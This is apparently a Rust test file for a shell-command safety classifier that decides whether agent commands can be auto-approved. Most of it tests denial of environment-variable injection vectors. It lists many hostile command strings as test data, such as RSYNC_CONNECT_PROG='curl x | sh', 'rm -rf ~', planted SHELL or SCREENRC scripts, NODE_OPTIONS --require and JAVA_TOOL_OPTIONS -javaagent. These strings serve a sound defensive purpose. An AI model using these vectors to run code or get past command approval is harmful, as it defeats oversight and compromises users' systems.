            ("UNZIPOPT=-d/etc unzip -l a.zip", "unzip -l a.zip"),
            ("ZIPINFO=-v zipinfo a.zip", "zipinfo a.zip"),
            ("ZIPINFOOPT=-v zipinfo a.zip", "zipinfo a.zip"),
        ] {
            assert!(!crate::is_safe_command(cmd), "{cmd} was allowed");
            assert!(crate::is_safe_command(bare), "{bare} should still be allowed");
        }
    }

    /// screen and tmux start `$SHELL` for a new window, and screen reads its rc file from
    /// `SCREENRC` or `SYSSCREENRC`. Measured on screen 4.00.03 and tmux 3.6: each ran a planted script.
    #[test]
    fn a_session_never_starts_a_planted_shell_or_rc_file() {
        for cmd in [
            "SHELL=./x.sh screen -r x", "SHELL=/tmp/evil screen", "env SHELL=./x.sh screen -r", "export SHELL=./x.sh; screen -r",
            "SHELL=./x.sh tmux new -d", "SHELL=~/bin/zsh tmux new -d", "SHELL='/bin/sh -c id' tmux new -d",
            "SHELL=/bin/../tmp/x tmux new -d", "SCREENRC=./evil.rc screen -r", "SCREENRC=/tmp/evil.rc screen",
            "SYSSCREENRC=/tmp/evil.rc screen", "env SCREENRC=./evil.rc screen", "export SCREENRC=./evil.rc && screen",
            "export SYSSCREENRC=./evil.rc; screen", "SHELL=bash screen -r x", "SHELL=x.sh screen -r x", "export SHELL=zsh; screen -r x",
            "env SHELL=sh screen -x x", "SHELL=bash tmux new -d", "SHELL=x.sh tmux new -d",
        ] {
            assert!(!crate::is_safe_command(cmd), "{cmd} must not be approved");
        }
        for cmd in
            ["SHELL=/bin/zsh tmux new -d", "SHELL=/opt/homebrew/bin/fish tmux new -d", "SHELL=/bin/zsh screen -r x", "SHELL= tmux new -d"]
        {
            assert!(crate::is_safe_command(cmd), "{cmd} should be approved");
        }
    }

    /// A standard bin directory holds programs that are not shells. Started as `$SHELL`, make and
    /// just read a Makefile or justfile from the folder, and an interpreter or editor takes the
    /// session's command string as its own input, so only a shell's name is accepted.
    #[test]
    fn a_session_shell_must_be_a_shell() {
        for cmd in [
            "SHELL=/usr/bin/make tmux new -d", "SHELL=/opt/homebrew/bin/just tmux new -d", "SHELL=/usr/bin/make screen -r -R x",
            "SHELL=/opt/homebrew/bin/python3 screen -r x", "SHELL=/usr/bin/vim screen -r x", "SHELL=/usr/bin/env screen -r x",
            "SHELL=/usr/local/bin/x screen -r x", "SHELL=/usr/bin/gmake tmux new -d", "SHELL=/bin/sh.evil tmux new -d",
            "SHELL=/usr/bin/bash5 tmux new -d",
        ] {
            assert!(!crate::is_safe_command(cmd), "{cmd} must not be approved");
        }
        for shell in ["sh", "bash", "zsh", "dash", "ksh", "tcsh", "csh", "fish"] {
            for dir in ["/bin", "/usr/bin", "/usr/local/bin", "/opt/homebrew/bin"] {
                let cmd = format!("SHELL={dir}/{shell} tmux new -d");
                assert!(crate::is_safe_command(&cmd), "{cmd} should be approved");
            }
        }
    }

    /// `CODEX_HOME` picks the folder whose config.toml names the notify program and MCP servers, and
    /// `CODEX_CLOUD_TASKS_BASE_URL` picks the server the cloud subcommands send the sign-in token to.
    #[test]
    fn no_codex_config_or_server_arrives_through_the_environment() {
        for cmd in [
            "CODEX_HOME=./x codex cloud list",
            "CODEX_HOME=/tmp/x codex apply x",
            "env CODEX_HOME=./x codex features list",
            "export CODEX_HOME=./x; codex cloud status x",
            "CODEX_CLOUD_TASKS_BASE_URL=http://x codex cloud list",
            "env CODEX_CLOUD_TASKS_BASE_URL=http://x codex cloud diff x",
            "export CODEX_CLOUD_TASKS_BASE_URL=http://x; codex apply x",
        ] {
            assert!(!crate::is_safe_command(cmd), "{cmd} must not be approved");
        }
    }

    /// mise reads every setting from a `MISE_` variable, and several of them choose which config
    /// files load or are trusted, so a trusted config's hooks, tasks and `[env]` scripts run.
    #[test]
    fn no_mise_setting_arrives_through_the_environment() {
        for cmd in [
            "MISE_TRUSTED_CONFIG_PATHS=/ mise ls",
            "MISE_TRUSTED_CONFIG_PATHS=. mise env",
            "env MISE_TRUSTED_CONFIG_PATHS=/ mise ls",
            "export MISE_TRUSTED_CONFIG_PATHS=/; mise ls",
            "MISE_TRUSTED_CONFIG_PATHS=/ mise exec -- ls",
            "MISE_GLOBAL_CONFIG_FILE=./evil.toml mise ls",
            "MISE_CONFIG_FILE=./evil.toml mise ls",
            "MISE_SYSTEM_CONFIG_FILE=./e.toml mise ls",
            "MISE_PARANOID=0 mise ls",
            "MISE_YES=1 mise ls",
            "MISE_CONFIG_DIR=./x mise ls",
            "MISE_DATA_DIR=./x mise ls",
            "MISE_OVERRIDE_CONFIG_FILENAMES=evil.toml mise ls",
            "MISE_TRUSTED_CONFIG_PATHS=/ cargo build",
            "mise set MISE_TRUSTED_CONFIG_PATHS=/",
        ] {
            assert!(!crate::is_safe_command(cmd), "{cmd} must not be approved");
        }
        for cmd in ["mise ls", "MISE_TRUSTED_CONFIG_PATHS= mise ls", "MISEX=1 mise ls"] {
            assert!(crate::is_safe_command(cmd), "{cmd} should be approved");
        }
    }

    /// The loader, locale, resolver and interpreter variables audited after `GCONV_PATH` was found
    /// missing. Each names code, a program, or a file the process writes, from outside the project.
    #[test]
    fn every_audited_loader_and_locale_variable_denies_a_foreign_value() {
        for cmd in [
            "GCONV_PATH=/tmp/m iconv -l",
            "GETCONF_DIR=/tmp/m getconf -a",
            "NLSPATH=/tmp/m/%N ls",
            "LOCPATH=/tmp/m ls",
            "LD_ORIGIN_PATH=/tmp/m ls",
            "LD_DEBUG_OUTPUT=/etc/m ls",
            "LD_PROFILE=libc.so.6 ls",
            "DYLD_FALLBACK_LIBRARY_PATH=/tmp/m ls",
            "DYLD_FALLBACK_FRAMEWORK_PATH=/tmp/m ls",
            "DYLD_VERSIONED_LIBRARY_PATH=/tmp/m ls",
            "DYLD_IMAGE_SUFFIX=_m ls",
            "DYLD_PRINT_TO_FILE=/tmp/m ls",
            "HOSTALIASES=/tmp/m curl https://example.com",
            "RES_OPTIONS=debug ls",
            "LOCALDOMAIN=example.test ls",
            "RESOLV_HOST_CONF=/tmp/m ls",
            "MALLOC_TRACE=/etc/m ls",
            "PERLLIB=/tmp/m perl --version",
            "PERL5DB='BEGIN{}' perl --version",
            "PYTHONUSERBASE=/tmp/m python3 --version",
            "PYTHONWARNINGS=ignore::m.W python3 --version",
            "PYTHONBREAKPOINT=m.f python3 --version",
            "GEM_HOME=/tmp/m ruby --version",
            "GEM_PATH=/tmp/m ruby --version",
            "BUNDLE_GEMFILE=/tmp/m/Gemfile bundle exec rspec",
            "RUBYGEMS_GEMDEPS=/tmp/m/Gemfile ruby --version",
            "OPENSSL_CONF=/tmp/m.cnf openssl version",
            "OPENSSL_ENGINES=/tmp/m openssl version",
            "OPENSSL_MODULES=/tmp/m openssl version",
            "ZDOTDIR=/tmp/m zsh -c ls",
            "GIT_TEMPLATE_DIR=/tmp/m git init",
            "GIT_CONFIG=/tmp/m.cfg git status",
            "GIT_ALLOW_PROTOCOL=ext git status",
            "GIT_TRACE=/etc/m git status",
            "GIT_TRACE_PACKET=/etc/m git status",
            "SSLKEYLOGFILE=/etc/m curl https://example.com",
            "MAVEN_ARGS=-Dmaven.ext.class.path=/tmp/e.jar mvn test",
            "MAVEN_ARGS=deploy mvn test",
            "ANSIBLE_LOG_PATH=~/.bashrc ansible-vault --version",
            "ANSIBLE_LOG_PATH=/etc/m ansible-doc -l",
            "BROWSER='sh -c m' ls",
        ] {
            assert!(!crate::is_safe_command(cmd), "an audited variable was allowed: {cmd}");
        }
    }

    /// The second audit: build tools, pagers, prompts, editors and config locations. Each pair is
    /// the variable with a foreign value, refused, and with a benign one, still approved.
    #[test]
    fn any_program_rsync_would_run_to_reach_a_daemon_is_refused() {
        for cmd in [
            "RSYNC_CONNECT_PROG=id rsync rsync://x/foo dst/",
            "RSYNC_CONNECT_PROG=cat rsync ./src/ ./dst/",
            "RSYNC_CONNECT_PROG='ssh proxy nc %H 873' rsync host::mod/ ./dst/",
            "RSYNC_CONNECT_PROG='curl x | sh' rsync host::mod/ ./dst/",
            "env RSYNC_CONNECT_PROG='rm -rf ~' rsync ./src/ ./dst/",
            "export RSYNC_CONNECT_PROG='sh -c \"rm -rf ~\"'; rsync ./src/ ./dst/",
        ] {
            assert!(!crate::is_safe_command(cmd), "{cmd}");
        }
        assert!(crate::is_safe_command("RSYNC_CONNECT_PROG= rsync rsync://x/foo dst/"));
        assert!(crate::is_safe_command("rsync rsync://x/foo dst/"));
    }

    #[test]
    fn every_variable_of_the_second_audit_judges_its_value() {
        let _ctx = crate::pathctx::enter(crate::pathctx::PathCtx {
            cwd: Some("/work/u/proj".into()),
            root: Some("/work/u/proj".into()),
            ..Default::default()
        });
        for (foreign, benign) in [
            ("CARGO_BUILD_RUSTC=/tmp/m cargo build", "CARGO_BUILD_RUSTC= cargo build"),
            ("CARGO_BUILD_RUSTC_WORKSPACE_WRAPPER=/tmp/m cargo build", "CARGO_BUILD_RUSTC_WORKSPACE_WRAPPER= cargo build"),
            ("RUSTDOC=/tmp/m cargo doc", "RUSTDOC= cargo doc"),
            ("CARGO_BUILD_RUSTDOC=/tmp/m cargo doc", "CARGO_BUILD_RUSTDOC= cargo doc"),
            ("RUSTFMT=/tmp/evil cargo fmt --check", "RUSTFMT=rustfmt cargo fmt --check"),
            ("DEVELOPER_DIR=/tmp/evil xcrun --find clang", "DEVELOPER_DIR=./Developer xcrun --find clang"),
            ("TOOLCHAINS=/tmp/evil xcrun --find clang", "TOOLCHAINS=default xcrun --find clang"),
            ("CARGO_ENCODED_RUSTFLAGS='-Clinker=/tmp/m' cargo build", "CARGO_ENCODED_RUSTFLAGS=-Dwarnings cargo build"),
            ("CARGO_ENCODED_RUSTDOCFLAGS='-Clinker=/tmp/m' cargo doc", "CARGO_ENCODED_RUSTDOCFLAGS=-Dwarnings cargo doc"),
            ("CARGO_BUILD_RUSTDOCFLAGS='-Clinker=/tmp/m' cargo doc", "CARGO_BUILD_RUSTDOCFLAGS=-Dwarnings cargo doc"),
            ("CARGO_REGISTRY_CREDENTIAL_PROVIDER=/tmp/m cargo build", "CARGO_REGISTRY_CREDENTIAL_PROVIDER= cargo build"),
            ("CARGO_TARGET_DIR=/etc/m cargo build", "CARGO_TARGET_DIR=./target cargo build"),
            ("CARGO_BUILD_TARGET_DIR=/etc/m cargo build", "CARGO_BUILD_TARGET_DIR=./target cargo build"),
            ("CARGO_HOME=/tmp/m cargo build", "CARGO_HOME=~/.cargo cargo build"),
            ("RUSTUP_HOME=/tmp/m cargo build", "RUSTUP_HOME=~/.rustup cargo build"),
            ("CC=/tmp/m cargo build", "CC=clang cargo build"),
            ("CXX=/tmp/m cargo build", "CXX=clang++ cargo build"),
            ("LD=/tmp/m cargo build", "LD=ld cargo build"),
            ("AR=/tmp/m cargo build", "AR=ar cargo build"),
            ("CFLAGS='-fplugin=/tmp/m.so' cargo build", "CFLAGS='-O2 -g' cargo build"),
            ("CXXFLAGS='-fplugin=/tmp/m.so' cargo build", "CXXFLAGS='-O2 -Wall' cargo build"),
            ("LDFLAGS='-Wl,/tmp/m' cargo build", "LDFLAGS='-L ./lib' cargo build"),
            ("GRADLE_OPTS='-javaagent:/tmp/m.jar' gradle test", "GRADLE_OPTS=-Xmx2g gradle test"),
            ("MAVEN_OPTS='-javaagent:/tmp/m.jar' mvn test", "MAVEN_OPTS=-Xmx2g mvn test"),
            ("JAVA_OPTS='-javaagent:/tmp/m.jar' java -version", "JAVA_OPTS=-Xmx2g java -version"),
            ("JAVA_HOME=/tmp/m gradle test", "JAVA_HOME=./jdk gradle test"),
            ("GRADLE_USER_HOME=/tmp/m gradle test", "GRADLE_USER_HOME=~/.gradle gradle test"),
            ("YARN_YARN_PATH=/tmp/m.js ls", "YARN_YARN_PATH=./.yarn/releases/yarn.cjs ls"),
            ("npm_config_node_gyp=/tmp/m npm test", "npm_config_node_gyp=./scripts/gyp npm test"),
            ("BUNDLE_APP_CONFIG=/tmp/m bundle exec rspec", "BUNDLE_APP_CONFIG=~/.bundle bundle exec rspec"),
            ("PYTEST_ADDOPTS='-p /tmp/m' pytest", "PYTEST_ADDOPTS='-v -q' pytest"),
            ("PYTEST_PLUGINS=/tmp/m pytest", "PYTEST_PLUGINS=./plugin.py pytest"),
            ("PYTHONPYCACHEPREFIX=/etc/m pytest", "PYTHONPYCACHEPREFIX=./.cache pytest"),
            ("COVERAGE_PROCESS_START=/tmp/m pytest", "COVERAGE_PROCESS_START=./.coveragerc pytest"),
            ("HGRCPATH=/tmp/m ls", "HGRCPATH=/work/u/proj/hgrc ls"),
            ("TF_CLI_CONFIG_FILE=/tmp/m ls", "TF_CLI_CONFIG_FILE=/work/u/proj/terraformrc ls"),
            ("AWS_CONFIG_FILE=/tmp/m ls", "AWS_CONFIG_FILE=/work/u/proj/aws.cfg ls"),
            ("AWS_SHARED_CREDENTIALS_FILE=/tmp/m ls", "AWS_SHARED_CREDENTIALS_FILE=/work/u/proj/aws.cred ls"),
            ("AWS_PAGER='sh -c m' ls", "AWS_PAGER=cat ls"),
            ("BAT_PAGER='sh -c m' ls", "BAT_PAGER=cat ls"),
            ("DELTA_PAGER='sh -c m' ls", "DELTA_PAGER=cat ls"),
            ("BAT_CONFIG_PATH=/tmp/m ls", "BAT_CONFIG_PATH=./bat.conf ls"),
            ("LESS='+/!m' ls", "LESS= ls"),
            ("LESS_IS_MORE=1 less -p '!m' x", "LESS_IS_MORE= ls"),
            ("MORE='+!m' more x", "MORE= ls"),
            ("LESSKEYIN=./lesskey ls", "LESSKEYIN= ls"),
            ("LESSKEYIN_SYSTEM=./lesskey ls", "LESSKEYIN_SYSTEM= ls"),
            ("LESSKEY=./lesskey ls", "LESSKEY= ls"),
            ("LESSKEY_SYSTEM=./lesskey ls", "LESSKEY_SYSTEM= ls"),
            ("LESSKEY_CONTENT='#env' ls", "LESSKEY_CONTENT= ls"),
            ("LESSKEY_CONTENT_SYSTEM='#env' ls", "LESSKEY_CONTENT_SYSTEM= ls"),
            ("LESSGLOBALTAGS='sh -c m' less -t x", "LESSGLOBALTAGS=cat less -t x"),
            ("LESSHISTFILE=~/.zshrc less x", "LESSHISTFILE=./.lesshst less x"),
            ("LESSEDIT='sh -c m' less x", "LESSEDIT=cat less x"),
            ("WHATISPAGER='sh -c m' man -k ls", "WHATISPAGER=cat man -k ls"),
            ("MANOPT=--pager=m man ls", "MANOPT= man ls"),
            ("VIM=./vv vim x", "VIM= vim x"),
            ("VIMRUNTIME=/tmp/rt vim x", "VIMRUNTIME= vim x"),
            ("GVIMINIT='!m' ls", "GVIMINIT= ls"),
            ("NVIM_APPNAME=../m nvim x", "NVIM_APPNAME= nvim x"),
            ("EMACSLOADPATH=/tmp/e emacs x", "EMACSLOADPATH= emacs x"),
            ("EMACSPATH=/tmp/e emacs x", "EMACSPATH= emacs x"),
            ("EMACSDATA=/tmp/e emacs x", "EMACSDATA= emacs x"),
            ("EMACSNATIVELOADPATH=/tmp/e emacs x", "EMACSNATIVELOADPATH= emacs x"),
            ("DOCKER_HOST=ssh://m ls", "DOCKER_HOST= ls"),
            ("GOROOT=/tmp/m go list ./...", "GOROOT=./go go list ./..."),
            ("GOENV=/tmp/m go list ./...", "GOENV=./go.env go list ./..."),
            ("GOTOOLCHAIN=path go list ./...", "GOTOOLCHAIN= go list ./..."),
            ("MAKEFILES=/tmp/m ls", "MAKEFILES=./extra.mk ls"),
            ("MAKEFLAGS='-f /tmp/m' ls", "MAKEFLAGS= ls"),
            ("npm_config_script_shell=/tmp/m npm test", "npm_config_script_shell=cat npm test"),
            ("NPM_CONFIG_SCRIPT_SHELL=/tmp/m npm test", "NPM_CONFIG_SCRIPT_SHELL=cat npm test"),
            ("env Npm_Config_Script-Shell=/tmp/m npm test", "npm_config_loglevel=silent npm test"),
            ("npm_config_shell=/tmp/m npm test", "npm_config_shell=cat npm test"),
            ("npm_config_git=/tmp/m npm test", "npm_config_git=cat npm test"),
            ("npm_config_node_options='--require /tmp/m.js' npm test", "npm_config_node_options=--no-warnings npm test"),
            ("NPM_CONFIG_NODE_OPTIONS='--require /tmp/m.js' npm test", "NPM_CONFIG_NODE_OPTIONS=--no-warnings npm test"),
            ("npm_config_userconfig=/tmp/m npm test", "npm_config_userconfig=/work/u/proj/npmrc npm test"),
            ("npm_config_globalconfig=/tmp/m npm test", "npm_config_globalconfig=/work/u/proj/npmrc npm test"),
        ] {
            assert!(!crate::command_verdict(foreign).is_allowed(), "a foreign value was allowed: {foreign}");
            assert!(crate::command_verdict(benign).is_allowed(), "a benign value was refused: {benign}");
        }
    }

    #[test]
    fn every_variable_of_the_second_audit_judges_its_value_part_two() {
        let _ctx = crate::pathctx::enter(crate::pathctx::PathCtx {
            cwd: Some("/work/u/proj".into()),
            root: Some("/work/u/proj".into()),
            ..Default::default()
        });
        for (foreign, benign) in [
            ("npm_config_registry=https://m npx eslint src/", "npm_config_registry= npx eslint src/"),
            ("NPM_CONFIG_REGISTRY=https://m npx eslint src/", "NPM_CONFIG_REGISTRY= npx eslint src/"),
            ("npm_config_strict_ssl=false npx eslint src/", "npm_config_strict_ssl= npx eslint src/"),
            ("npm_config_strict-ssl=false npx eslint src/", "npm_config_loglevel=silent npx eslint src/"),
            ("npm_config_cafile=/tmp/m npx eslint src/", "npm_config_cafile= npx eslint src/"),
            ("npm_config_ca=m npx eslint src/", "npm_config_ca= npx eslint src/"),
            ("npm_config_proxy=http://m npx eslint src/", "npm_config_proxy= npx eslint src/"),
            ("npm_config_https_proxy=http://m npx eslint src/", "npm_config_https_proxy= npx eslint src/"),
            ("XCODE_XCCONFIG_FILE=/tmp/m ls", "XCODE_XCCONFIG_FILE=/work/u/proj/x.xcconfig ls"),
            ("npm_config_onload_script=/tmp/m.js npm test", "npm_config_onload_script=./onload.js npm test"),
            ("BUN_CONFIG_REGISTRY=https://m bunx eslint src/", "BUN_CONFIG_REGISTRY= bunx eslint src/"),
            ("YARN_NPM_REGISTRY_SERVER=https://m ls", "YARN_NPM_REGISTRY_SERVER= ls"),
            ("YARN_REGISTRY=https://m ls", "YARN_REGISTRY= ls"),
            ("MANPAGER='sh -c m' ls", "MANPAGER=cat ls"),
            ("GH_PAGER='sh -c m' ls", "GH_PAGER=cat ls"),
            ("SSH_ASKPASS=/tmp/m ls", "SSH_ASKPASS= ls"),
            ("VIMINIT='!m' ls", "VIMINIT= ls"),
            ("EXINIT='!m' ls", "EXINIT= ls"),
            ("GH_CONFIG_DIR=/tmp/m ls", "GH_CONFIG_DIR=~/.config/gh ls"),
            ("CURL_HOME=/tmp/m curl https://example.com", "CURL_HOME=~ curl https://example.com"),
            ("WGETRC=/tmp/m ls", "WGETRC=/work/u/proj/wgetrc ls"),
            ("PIP_CONFIG_FILE=/tmp/m ls", "PIP_CONFIG_FILE=/work/u/proj/pip.conf ls"),
            ("PKG_CONFIG_PATH=/tmp/m ls", "PKG_CONFIG_PATH=./pkgconfig ls"),
            ("TERMINFO=/tmp/m ls", "TERMINFO=./terminfo ls"),
            ("TERMINFO_DIRS=/tmp/m ls", "TERMINFO_DIRS=./terminfo ls"),
            ("MAGIC=/tmp/m ls", "MAGIC=./magic.mgc ls"),
            ("SSL_CERT_FILE=/tmp/m ls", "SSL_CERT_FILE=./ca.pem ls"),
            ("SSL_CERT_DIR=/tmp/m ls", "SSL_CERT_DIR=./certs ls"),
            ("CURL_CA_BUNDLE=/tmp/m curl https://example.com", "CURL_CA_BUNDLE=./ca.pem curl https://example.com"),
        ] {
            assert!(!crate::command_verdict(foreign).is_allowed(), "a foreign value was allowed: {foreign}");
            assert!(crate::command_verdict(benign).is_allowed(), "a benign value was refused: {benign}");
        }
    }

    #[test]
    fn every_archive_and_kubectl_twin_of_the_third_audit_judges_its_value() {
        let _ctx = crate::pathctx::enter(crate::pathctx::PathCtx {
            cwd: Some("/work/u/proj".into()),
            root: Some("/work/u/proj".into()),
            ..Default::default()
        });
        for (foreign, benign) in [
            ("TAPE=~/.zshrc tar -c .", "TAPE= ls"),
            ("TAPE=x.tar tar -t", "TAPE= ls"),
            ("KUBECTL_EXTERNAL_DIFF=/tmp/m kubectl version --client", "KUBECTL_EXTERNAL_DIFF=cat kubectl version --client"),
            ("KUBERC=/tmp/m kubectl version --client", "KUBERC= kubectl version --client"),
            ("KUBECTL_KUBERC=true kubectl version --client", "KUBECTL_KUBERC= kubectl version --client"),
            ("KUBECACHEDIR=/tmp/c kubectl version --client", "KUBECACHEDIR= kubectl version --client"),
        ] {
            assert!(!crate::command_verdict(foreign).is_allowed(), "a foreign value was allowed: {foreign}");
            assert!(crate::command_verdict(benign).is_allowed(), "a benign value was refused: {benign}");
        }
    }

    #[test]
    fn an_audited_variable_with_a_project_value_still_allows() {
        for cmd in [
            "GCONV_PATH=./gconv ls",
            "GEM_HOME=./vendor/gems ls",
            "BUNDLE_GEMFILE=./Gemfile ls",
            "GIT_TRACE=1 git status",
            "GIT_TRACE=trace.log git status",
            "SSLKEYLOGFILE=keys.log ls",
            "BROWSER=cat ls",
            "LD_PRELOAD= ls",
            "ANSIBLE_LOG_PATH=./ansible.log ansible-vault --version",
        ] {
            assert!(crate::is_safe_command(cmd), "a project value was denied: {cmd}");
        }
    }

    /// The whole point of a LISTED table: everything outside it behaves exactly as before. A
    /// regression here is friction imposed on every user for no security gain, which is the failure
    /// mode that sank the earlier "undeclared name denies" design.
    #[test]
    fn an_unlisted_assignment_changes_nothing() {
        for cmd in [
            "FOO=bar ls", "RUSTUP_TOOLCHAIN=stable cargo test", "RACK_ENV=test bundle install", "RAILS_ENV=test bundle exec rspec",
            "NODE_ENV=production npm ci --ignore-scripts", "PROJECT=safe-chains QUERY=x ls", "TZ=UTC date",
        ] {
            assert!(crate::is_safe_command(cmd), "an unlisted assignment caused a denial: {cmd}");
        }
    }

    /// A listed name is not a ban: the value decides. These are the benign spellings of variables
    /// that appear in the table, and they must keep working.
    #[test]
    fn a_listed_name_with_a_benign_value_still_allows() {
        for cmd in [
            "GIT_PAGER= git log", // empty un-sets it
            "GIT_PAGER=cat git log", "PYTHONPATH=./lib ls", "PERL5LIB=./lib ls", "LD_PRELOAD= ls",
        ] {
            assert!(crate::is_safe_command(cmd), "a benign value was denied: {cmd}");
        }
    }

    /// A colon-separated list is judged by its WORST element — the loader searches all of them, so
    /// one attacker-controlled entry is enough.
    #[test]
    fn a_path_list_is_judged_by_its_worst_element() {
        assert!(crate::is_safe_command("PYTHONPATH=./a:./b ls"));
        assert!(!crate::is_safe_command("PYTHONPATH=./a:/tmp/evil ls"));
        assert!(!crate::is_safe_command("PYTHONPATH=/tmp/evil:./b ls"));
    }

    /// Env twins of flags already denied. In each case the danger was documented in the command's
    /// own TOML and only the environment spelling went unchecked.
    #[test]
    fn an_env_twin_of_a_denied_flag_also_denies() {
        for (flag_form, env_form) in [
            (
                "cargo test --config target.x86_64-apple-darwin.runner=/tmp/evil",
                "CARGO_TARGET_X86_64_APPLE_DARWIN_RUNNER=/tmp/evil cargo test",
            ),
            ("cargo build --config build.rustc-wrapper=/tmp/evil", "RUSTC_WRAPPER=/tmp/evil cargo build"),
            (
                "git -c core.pager='sh -c evil' log",
                "GIT_CONFIG_COUNT=1 GIT_CONFIG_KEY_0=core.pager GIT_CONFIG_VALUE_0='sh -c evil' git log",
            ),
            ("pandoc +RTS -tpwned README.md", "GHCRTS=-tpwned pandoc README.md"),
            ("pandoc +RTS -tpwned README.md", "env GHCRTS=-tpwned pandoc README.md"),
            ("pandoc +RTS -tpwned README.md", "export GHCRTS=-tpwned && pandoc README.md"),
        ] {
            assert!(!crate::is_safe_command(flag_form), "sanity: the flag form should deny: {flag_form}");
            assert!(!crate::is_safe_command(env_form), "the env twin was allowed: {env_form}");
        }
    }

    /// A twin entry names a mechanism, not a ban: a benign runner is still a benign command.
    #[test]
    fn a_twin_with_a_benign_value_still_allows() {
        assert!(crate::is_safe_command("CARGO_TARGET_X86_64_APPLE_DARWIN_RUNNER=echo cargo test"));
        assert!(crate::is_safe_command("CARGO_TERM_COLOR=always cargo test"));
        assert!(crate::is_safe_command("CARGO_TARGET_DIR=./target cargo build"));
    }

    /// Interpreter flag strings: every token must be a researched-inert prefix.
    #[test]
    fn an_option_string_denies_a_flag_that_is_not_allowlisted() {
        for cmd in [
            // measured to execute, per the design note
            "RUSTFLAGS='-C linker=/tmp/evil' cargo build",
            "CARGO_BUILD_RUSTFLAGS='-Clinker=/tmp/evil' cargo build",
            "NODE_OPTIONS='--require /tmp/inj.js' node app.js",
            "NODE_OPTIONS='--import file:///tmp/inj.mjs' node app.js",
            "RUBYOPT='-r/tmp/inj' ruby app.rb",
            "PERL5OPT='-I/tmp -MInject' perl app.pl",
            "PERL5OPT='-I/tmp -d:Inj' perl app.pl",
            // not code loading, but equally out of scope for an auto-approval
            "NODE_OPTIONS='--inspect=0.0.0.0:9229' node app.js",
            "NODE_OPTIONS='--allow-child-process' node app.js",
            // Java. Documented rather than measured, so the corpus is wider: every excluded class
            // gets a case. `java -version` allows on its own, so each denial is the variable's.
            "JAVA_TOOL_OPTIONS='-javaagent:/tmp/e.jar' java -version",
            "JAVA_TOOL_OPTIONS='-agentlib:jdwp=transport=dt_socket' java -version",
            "JAVA_TOOL_OPTIONS='-agentpath:/tmp/e.dylib' java -version",
            "JAVA_TOOL_OPTIONS='-Xbootclasspath/a:/tmp/e.jar' java -version",
            "JAVA_TOOL_OPTIONS='-cp /tmp/evil' java -version",
            "JAVA_TOOL_OPTIONS='--module-path /tmp/evil' java -version",
            // -XX: is not a blanket prefix: these two run a command, wearing the same prefix as the
            // GC tuning flags that ARE listed.
            "JAVA_TOOL_OPTIONS='-XX:OnError=id' java -version",
            "JAVA_TOOL_OPTIONS='-XX:OnOutOfMemoryError=id' java -version",
            "JAVA_TOOL_OPTIONS='-XX:VMOptionsFile=/tmp/o' java -version",
            // -D is not listed: system properties reach remote class loading and self-attach.
            "JAVA_TOOL_OPTIONS='-Djava.rmi.server.codebase=http://x/' java -version",
            "_JAVA_OPTIONS='-javaagent:/tmp/e.jar' java -version",
            "JDK_JAVA_OPTIONS='-XX:OnError=id' java -version",
            // Go. Isolated against `ls`, since `go build` denies on its own terms.
            "GOFLAGS='-toolexec=/tmp/evil' ls",
            "GOFLAGS='-exec=/tmp/evil' ls",
            "GOFLAGS='-overlay=/tmp/o.json' ls",
            "GOFLAGS='-ldflags=-linkmode=external' ls",
            "GOFLAGS='-gcflags=-N' ls",
        ] {
            assert!(!crate::is_safe_command(cmd), "an option-string vector was allowed: {cmd}");
        }
    }

    /// The everyday spellings have to keep working, or the entry is friction with no gain.
    #[test]
    fn an_option_string_allows_the_researched_inert_flags() {
        for cmd in [
            "RUSTFLAGS='-D warnings' cargo build",
            "RUSTFLAGS='-C opt-level=3' cargo build",
            "RUSTFLAGS='-Copt-level=3 -Cdebuginfo=0' cargo build",
            "RUSTDOCFLAGS='-D warnings' cargo doc",
            "NODE_OPTIONS='--max-old-space-size=4096' node app.js",
            "NODE_OPTIONS='--enable-source-maps' node app.js",
            "RUBYOPT='-w' ruby app.rb",
            // A trivial base command: `perl app.pl` denies on its own terms, so using it here would
            // assert nothing about PERL5OPT. Isolating the variable is the point of the case.
            "PERL5OPT='-w -T' ls",
            // Heap and GC tuning is the overwhelmingly common reason to set these at all; denying
            // it would make the entry pure friction.
            "JAVA_TOOL_OPTIONS='-Xmx2g' java -version",
            "JAVA_TOOL_OPTIONS='-Xms512m -Xmx4g -XX:+UseG1GC' java -version",
            "JAVA_TOOL_OPTIONS='-XX:MaxGCPauseMillis=200' java -version",
            "JAVA_TOOL_OPTIONS='-verbose:gc' java -version",
            "_JAVA_OPTIONS='-Xmx2g' java -version",
            "JDK_JAVA_OPTIONS='-Xss4m' java -version",
            "GOFLAGS='-mod=readonly -v' ls",
            "GOFLAGS='-count=1' ls",
            "GOFLAGS='-tags=integration -race' ls",
        ] {
            assert!(crate::is_safe_command(cmd), "an inert flag string was denied: {cmd}");
        }
    }

    /// The three JVM variables are NOT one mechanism — measured, `-cp` is rejected by the VM in the
    /// first two and runs a planted class in the launcher-read third. Their `allowed` lists are kept
    /// identical anyway, as the conservative intersection, because nothing in the file format keeps
    /// three hand-written lists in step: editing one and forgetting the others would leave a flag
    /// denied in one spelling and allowed in another. `JDK_JAVA_OPTIONS` may carry EXTRA path flags
    /// on top (the launcher-only classpath options), so it is a superset, never a divergence.
    #[test]
    fn the_jvm_option_variables_classify_identically() {
        let names = ["JAVA_TOOL_OPTIONS", "_JAVA_OPTIONS", "JAVA_OPTS", "GRADLE_OPTS", "MAVEN_OPTS", "JDK_JAVA_OPTIONS"];
        let rules: Vec<_> = names
            .iter()
            .map(|n| super::rule_of(n).unwrap_or_else(|| panic!("{n} is missing from envvars.toml")))
            .collect();
        for (name, rule) in names.iter().zip(&rules) {
            assert_eq!(rule.shape, rules[0].shape, "{name} disagrees on shape");
            assert_eq!(rule.allowed, rules[0].allowed, "{name} has a divergent allowlist");
            // JDK_JAVA_OPTIONS is launcher-read and legitimately carries more; the VM-read pair
            // must match exactly, and every flag the pair declares must survive in the superset.
            if *name == "JDK_JAVA_OPTIONS" {
                for pf in &rules[0].path_flags {
                    assert!(
                        rule.path_flags.contains(pf),
                        "JDK_JAVA_OPTIONS dropped the path flag {}, so the two spellings disagree",
                        pf.flag,
                    );
                }
            } else {
                assert_eq!(rule.path_flags, rules[0].path_flags, "{name} has divergent path flags");
            }
        }
        assert!(!rules[0].allowed.is_empty(), "an empty allowlist would deny every JVM tuning flag");
    }

    /// A listed flag must not act as a prefix for a LONGER flag nobody researched. `-mod` admitted
    /// `-modfile=`, which redirects Go's module resolution, and `-v` admitted `-vet=off` — both
    /// purely because the spellings overlap. `go list` and `go vet` are allowlisted, so GOFLAGS
    /// reaches real invocations and this was not theoretical.
    #[test]
